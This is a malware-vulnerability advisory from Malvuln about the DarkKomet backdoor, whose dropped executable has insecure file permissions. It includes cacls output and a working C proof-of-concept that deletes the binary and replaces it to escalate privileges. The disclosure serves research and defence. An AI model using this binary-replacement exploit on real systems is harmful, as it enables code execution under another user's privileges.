Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/66fa06a4e3e799b059910dc17de295ae.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.DarkKomet.bhfh
Vulnerability: Insecure Permissions
Description: DarkKomet.bhfh creates a hidden dir named "System" under c: drive and drops an EXE named "ÚÈÏÇáÑÍãä.exe". After logoff, any standard user can just delete and replace the executable as DarkKomet grants change (C) permissions to the authenticated users group.
Type: PE32
MD5: 66fa06a4e3e799b059910dc17de295ae
Vuln ID: MVID-2021-0052
Dropped files: ÚÈÏÇáÑÍãä.exe
Disclosure: 01/25/2021 

Exploit/PoC:
C:\>cacls C:\System\ÚÈÏÇáÑÍãä.exe
C:\System\ÚÈÏÇáÑÍãä.exe BUILTIN\Administrators:(ID)F
                        NT AUTHORITY\SYSTEM:(ID)F
                        BUILTIN\Users:(ID)R
                        NT AUTHORITY\Authenticated Users:(ID)C

#include "stdio.h"
#include "windows.h"
#define TARGET "C:\\System\\ÚÈÏÇáÑÍãä.exe"
#define TMP "C:\\System\\2.exe"
#define DISABLED_TARGET "C:\\System\\666.tmp"

/* Backdoor.Win32.DarkKomet.bhfh.66fa06a4e3e799b059910dc17de295ae */
/* Insecure Permissions EoP */
/* Log out under as the current privileged user account, run the exploit as standard user */
/*  By Malvuln */

BOOL PWNED=FALSE;

BOOL FileExists(LPCTSTR szPath){
  DWORD dwAttrib = GetFileAttributes(szPath);
  return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

void main(void){
   
  if(!FileExists(DISABLED_TARGET)){
    WinExec("cmd.exe /c del /a C:\\System\\ÚÈÏÇáÑÍãä.exe", 0);
    Sleep(1000);
    CopyFile(TARGET, TMP, FALSE);
    Sleep(1000);
    CopyFile(TMP, DISABLED_TARGET, FALSE);
    printf("[+] Backdoor.Win32.DarkKomet.bhfh EoP PoC\n");
    Sleep(1000);
    printf("[+] Disabled ÚÈÏÇáÑÍãä.exe ...\n");
    Sleep(300);
   }else{
     PWNED=TRUE;
   }
   
    if(!PWNED){
       char fname[MAX_PATH];
        char newLoc[]=TARGET;
        DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
       if (size){
         printf("[+] Copying exploit to vuln System dir...\n");
         Sleep(1000);
         CopyFile(fname, TARGET, FALSE);
         printf("[+] Replaced  ÚÈÏÇáÑÍãä.EXE...\n");
         printf("[+] Done!\n");
         exit(0);
        }
    }else{
      if(FileExists(TMP)){
         remove(TMP);
      }
       printf("[+] Backdoor.Win32.DarkKomet.bhfh PWNED!\n");
       printf("[+] MD5: 66fa06a4e3e799b059910dc17de295ae\n");
       printf("[+] By Malvuln\n");
       system("pause");
     }
}


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